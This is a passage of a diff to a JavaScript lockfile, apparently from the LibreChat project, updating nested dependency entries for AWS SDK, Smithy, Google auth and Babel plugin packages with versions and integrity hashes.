"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/hash-node": ["@smithy/hash-node@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kKU0gVhx/ppVMntvUOZE7WRMFW86HuaxLwvqileBEjL7PoILI8/djoILw3gPQloGVE6O0oOzqafxeNi2KbnUJw=="], @@ -6793,8 +6941,12 @@ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="], + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="], + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="], + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="], + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="], "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="], @@ -6809,12 +6961,16 @@ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="], + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="], + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="], "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="], "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="], + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.927.0", "", { "dependencies": { "@aws-sdk/core": "3.927.0", "@aws-sdk/types": "3.922.0", "@smithy/property-provider": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-bAllBpmaWINpf0brXQWh/hjkBctapknZPYb3FJRlBHytEGHi7TpgqBXi8riT0tc6RVWChhnw58rQz22acOmBuw=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.927.0", "", { "dependencies": { "@aws-sdk/core": "3.927.0", "@aws-sdk/types": "3.922.0", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/property-provider": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-jEvb8C7tuRBFhe8vZY9vm9z6UQnbP85IMEt3Qiz0dxAd341Hgu0lOzMv5mSKQ5yBnTLq+t3FPKgD9tIiHLqxSQ=="], @@ -6835,275 +6991,21 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-y5ozxeQ9omVjbnJo9dtTsdXj9BEvGx2X8xvRgKnV+/7wLBuYJQL6dOa/qMY6omyHi7yjt1OA97jZLoVRYi8lxA=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="], + "@langchain/google-gauth/google-auth-library/gaxios": ["gaxios@7.1.3", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "node-fetch": "^3.3.2", "rimraf": "^5.0.1" } }, "sha512-YGGyuEdVIjqxkxVH1pUTMY/XtmmsApXrCVv5EU25iX6inEPbV+VakJfLealkBtJN69AQmh1eGOdCl9Sm1UP6XQ=="], "@langchain/google-gauth/google-auth-library/gcp-metadata": ["gcp-metadata@8.1.2", "", { "dependencies": { "gaxios": "^7.0.0", "google-logging-utils": "^1.0.0", "json-bigint": "^1.0.0" } }, "sha512-zV/5HKTfCeKWnxG0Dmrw51hEWFGfcF2xiXqcA3+J90WDuP0SvoiSO5ORvcBsifmx/FoIjgQN3oNOGaQ5PhLFkg=="], "@langchain/google-gauth/google-auth-library/gtoken": ["gtoken@8.0.0", "", { "dependencies": { "gaxios": "^7.0.0", "jws": "^4.0.0" } }, "sha512-+CqsMbHPiSTdtSO14O51eMNlrp9N79gmeqmXeouJOhfucAedHw9noVe/n5uJk3tbKE6a+6ZCQg3RPhVhHByAIw=="], - "@librechat/client/@babel/preset-env/@babel/plugin-bugfix-firefox-class-in-computed-class-key": ["@babel/plugin-bugfix-firefox-class-in-computed-class-key@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-87GDMS3tsmMSi/3bWOte1UblL+YUTFMV8SZPZ2eSEL17s74Cw/l63rR6NmGVKMYW2GYi85nE+/d6Hw5N0bEk2Q=="], + "@librechat/backend/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-P7JD4J+wxHMpGxqIg6SHno2tPkZbBUBLbPpR5/T1DEUvw/mEaINBMaPFZNM7lA+ToSCZ36j6nMHa+5kej+fhGg=="], - "@librechat/client/@babel/preset-env/@babel/plugin-bugfix-safari-class-field-initializer-scope": ["@babel/plugin-bugfix-safari-class-field-initializer-scope@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qNeq3bCKnGgLkEXUuFry6dPlGfCdQNZbn7yUAPCInwAJHMU7THJfrBSozkcWq5sNM6RcF3S8XyQL2A52KNR9IA=="], + "@librechat/backend/@smithy/node-http-handler/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="], - "@librechat/client/@babel/preset-env/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": ["@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-g4L7OYun04N1WyqMNjldFwlfPCLVkgB54A/YCXICZYBsvJJE3kByKv9c9+R/nAfmIfjl2rKYLNyMHboYbZaWaA=="], + "@librechat/backend/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-MeM9fTAiD3HvoInK/aA8mgJaKQDvm8N0dKy6EiFaCfgpovQr4CaOkJC28XqlSRABM+sHdSQXbC8NZ0DShBMHqg=="], - "@librechat/client/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": ["@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.13.0" } }, "sha512-oO02gcONcD5O1iTLi/6frMJBIwWEHceWGSGqrpCmEL8nogiS6J9PBlE48CaK20/Jx1LuRml9aDftLgdjXT8+Cw=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": ["@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.28.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-b6YTX108evsvE4YgWyQ921ZAFFQm3Bn+CA3+ZXlNVnPhx+UfsVURoPjfGAPCjBgrqo30yX/C2nZGX96DxvR9Iw=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-syntax-import-assertions": ["@babel/plugin-syntax-import-assertions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-UT/Jrhw57xg4ILHLFnzFpPDlMbcdEicaAtjPQpbj9wa8T4r5KVWCimHcL/460g8Ht0DMxDyjsLgiWSkVjnwPFg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-arrow-functions": ["@babel/plugin-transform-arrow-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-8Z4TGic6xW70FKThA5HYEKKyBpOOsucTOD1DjU3fZxDg+K3zBJcXMFnt/4yQiZnf5+MiOMSXQ9PaEK/Ilh1DeA=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-generator-functions": ["@babel/plugin-transform-async-generator-functions@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1", "@babel/traverse": "^7.28.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BEOdvX4+M765icNPZeidyADIvQ1m1gmunXufXxvRESy/jNNyfovIqUyE7MVgGBjWktCoJlzvFA1To2O4ymIO3Q=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-to-generator": ["@babel/plugin-transform-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-NREkZsZVJS4xmTr8qzE5y8AfIPqsdQfRuUiLRTEzb7Qii8iFWCyDKaUV2c0rCuh4ljDZ98ALHP/PetiBV2nddA=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-block-scoped-functions": ["@babel/plugin-transform-block-scoped-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cnqkuOtZLapWYZUYM5rVIdv1nXYuFVIltZ6ZJ7nIj585QsjKM5dhL2Fu/lICXZ1OyIAFc7Qy+bvDAtTXqGrlhg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-block-scoping": ["@babel/plugin-transform-block-scoping@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-45DmULpySVvmq9Pj3X9B+62Xe+DJGov27QravQJU1LLcapR6/10i+gYVAucGGJpHBp5mYxIMK4nDAT/QDLr47g=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties": ["@babel/plugin-transform-class-properties@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D0VcalChDMtuRvJIu3U/fwWjf8ZMykz5iZsg77Nuj821vCKI3zCyRLwRdWbsuJ/uRwZhZ002QtCqIkwC/ZkvbA=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block": ["@babel/plugin-transform-class-static-block@7.28.3", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.12.0" } }, "sha512-LtPXlBbRoc4Njl/oh1CeD/3jC+atytbnf/UqLoqTDcEYGUPj022+rvfkbDYieUrSj3CaV4yHDByPE+T2HwfsJg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-classes": ["@babel/plugin-transform-classes@7.28.4", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-globals": "^7.28.0", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cFOlhIYPBv/iBoc+KS3M6et2XPtbT2HiCRfBXWtfpc9OAyostldxIf9YAYB6ypURBBbx+Qv6nyrLzASfJe+hBA=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-computed-properties": ["@babel/plugin-transform-computed-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/template": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lj9PGWvMTVksbWiDT2tW68zGS/cyo4AkZ/QTp0sQT0mjPopCmrSkzxeXkznjqBxzDI6TclZhOJbBmbBLjuOZUw=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Kl9Bc6D0zTUcFUvkNuQh4eGXPKKNDOJQXVyyM4ZAQPMveniJdxi8XMJwLo+xSoW3MIq81bD33lcUe9kZpl0MCw=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex": ["@babel/plugin-transform-dotall-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-gEbkDVGRvjj7+T1ivxrfgygpT7GUd4vmODtYpbs0gZATdkX8/iSnOtZSxiZnsgm1YjTgjI6VKBGSJJevkrclzw=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-keys": ["@babel/plugin-transform-duplicate-keys@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MTyJk98sHvSs+cvZ4nOauwTTG1JeonDjSGvGGUNHreGQns+Mpt6WX/dVzWBHgg+dYZhkC4X+zTDfkTU+Vy9y7Q=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex": ["@babel/plugin-transform-duplicate-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-hkGcueTEzuhB30B3eJCbCYeCaaEQOmQR0AdvzpD4LoN0GXMWzzGSuRrxR2xTnCrvNbVwK9N6/jQ92GSLfiZWoQ=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-dynamic-import": ["@babel/plugin-transform-dynamic-import@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MHzkWQcEmjzzVW9j2q8LGjwGWpG2mjwaaB0BNQwst3FIjqsg8Ct/mIZlvSPJvfi9y2AC8mi/ktxbFVL9pZ1I4A=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-exponentiation-operator": ["@babel/plugin-transform-exponentiation-operator@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D4WIMaFtwa2NizOp+dnoFjRez/ClKiC2BqqImwKd1X28nqBtZEyCYJ2ozQrrzlxAFrcrjxo39S6khe9RNDlGzw=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-export-namespace-from": ["@babel/plugin-transform-export-namespace-from@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-tQvHWSZ3/jH2xuq/vZDy0jNn+ZdXJeM8gHvX4lnJmsc3+50yPlWdZXIc5ay+umX+2/tJIqHqiEqcJvxlmIvRvQ=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-for-of": ["@babel/plugin-transform-for-of@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BfbWFFEJFQzLCQ5N8VocnCtA8J1CLkNTe2Ms2wocj75dd6VpiqS5Z5quTYcUoo4Yq+DN0rtikODccuv7RU81sw=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-function-name": ["@babel/plugin-transform-function-name@7.27.1", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-1bQeydJF9Nr1eBCMMbC+hdwmRlsv5XYOMu03YSWFwNs0HsAmtSxxF1fyuYPqemVldVyFmlCU7w8UE14LupUSZQ=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-json-strings": ["@babel/plugin-transform-json-strings@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6WVLVJiTjqcQauBhn1LkICsR2H+zm62I3h9faTDKt1qP4jn2o72tSvqMwtGFKGTpojce0gJs+76eZ2uCHRZh0Q=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-literals": ["@babel/plugin-transform-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-0HCFSepIpLTkLcsi86GG3mTUzxV5jpmbv97hTETW3yzrAij8aqlD36toB1D0daVFJM8NK6GvKO0gslVQmm+zZA=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-logical-assignment-operators": ["@babel/plugin-transform-logical-assignment-operators@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-axUuqnUTBuXyHGcJEVVh9pORaN6wC5bYfE7FGzPiaWa3syib9m7g+/IT/4VgCOe2Upef43PHzeAvcrVek6QuuA=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-member-expression-literals": ["@babel/plugin-transform-member-expression-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-hqoBX4dcZ1I33jCSWcXrP+1Ku7kdqXf1oeah7ooKOIiAdKQ+uqftgCFNOSzA5AMS2XIHEYeGFg4cKRCdpxzVOQ=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-modules-amd": ["@babel/plugin-transform-modules-amd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iCsytMg/N9/oFq6n+gFTvUYDZQOMK5kEdeYxmxt91fcJGycfxVP9CnrxoliM0oumFERba2i8ZtwRUCMhvP1LnA=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-modules-systemjs": ["@babel/plugin-transform-modules-systemjs@7.28.5", "", { "dependencies": { "@babel/helper-module-transforms": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vn5Jma98LCOeBy/KpeQhXcV2WZgaRUtjwQmjoBuLNlOmkg0fB5pdvYVeWRYI69wWKwK2cD1QbMiUQnoujWvrew=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-modules-umd": ["@babel/plugin-transform-modules-umd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iQBE/xC5BV1OxJbp6WG7jq9IWiD+xxlZhLrdwpPkTX3ydmXdvoCpyfJN7acaIBZaOqTfr76pgzqBJflNbeRK+w=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex": ["@babel/plugin-transform-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-SstR5JYy8ddZvD6MhV0tM/j16Qds4mIpJTOd1Yu9J9pJjH93bxHECF7pgtc28XvkzTD6Pxcm/0Z73Hvk7kb3Ng=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-new-target": ["@babel/plugin-transform-new-target@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-f6PiYeqXQ05lYq3TIfIDu/MtliKUbNwkGApPUvyo6+tc7uaR4cPjPe7DFPr15Uyycg2lZU6btZ575CuQoYh7MQ=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-nullish-coalescing-operator": ["@babel/plugin-transform-nullish-coalescing-operator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aGZh6xMo6q9vq1JGcw58lZ1Z0+i0xB2x0XaauNIUXd6O1xXc3RwoWEBlsTQrY4KQ9Jf0s5rgD6SiNkaUdJegTA=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-numeric-separator": ["@babel/plugin-transform-numeric-separator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fdPKAcujuvEChxDBJ5c+0BTaS6revLV7CJL08e4m3de8qJfNIuCc2nc7XJYOjBoTMJeqSmwXJ0ypE14RCjLwaw=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-object-rest-spread": ["@babel/plugin-transform-object-rest-spread@7.28.4", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.0", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-373KA2HQzKhQCYiRVIRr+3MjpCObqzDlyrM6u4I201wL8Mp2wHf7uB8GhDwis03k2ti8Zr65Zyyqs1xOxUF/Ew=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-object-super": ["@babel/plugin-transform-object-super@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-SFy8S9plRPbIcxlJ8A6mT/CxFdJx/c04JEctz4jf8YZaVS2px34j7NXRrlGlHkN/M2gnpL37ZpGRGVFLd3l8Ng=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-optional-catch-binding": ["@babel/plugin-transform-optional-catch-binding@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-txEAEKzYrHEX4xSZN4kJ+OfKXFVSWKB2ZxM9dpcE3wT7smwkNmXo5ORRlVzMVdJbD+Q8ILTgSD7959uj+3Dm3Q=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-optional-chaining": ["@babel/plugin-transform-optional-chaining@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N6fut9IZlPnjPwgiQkXNhb+cT8wQKFlJNqcZkWlcTqkcqx6/kU4ynGmLFoa4LViBSirn05YAwk+sQBbPfxtYzQ=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-parameters": ["@babel/plugin-transform-parameters@7.27.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-qBkYTYCb76RRxUM6CcZA5KRu8K4SM8ajzVeUgVdMVO9NN9uI/GaVmBg/WKJJGnNokV9SY8FxNOVWGXzqzUidBg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods": ["@babel/plugin-transform-private-methods@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, 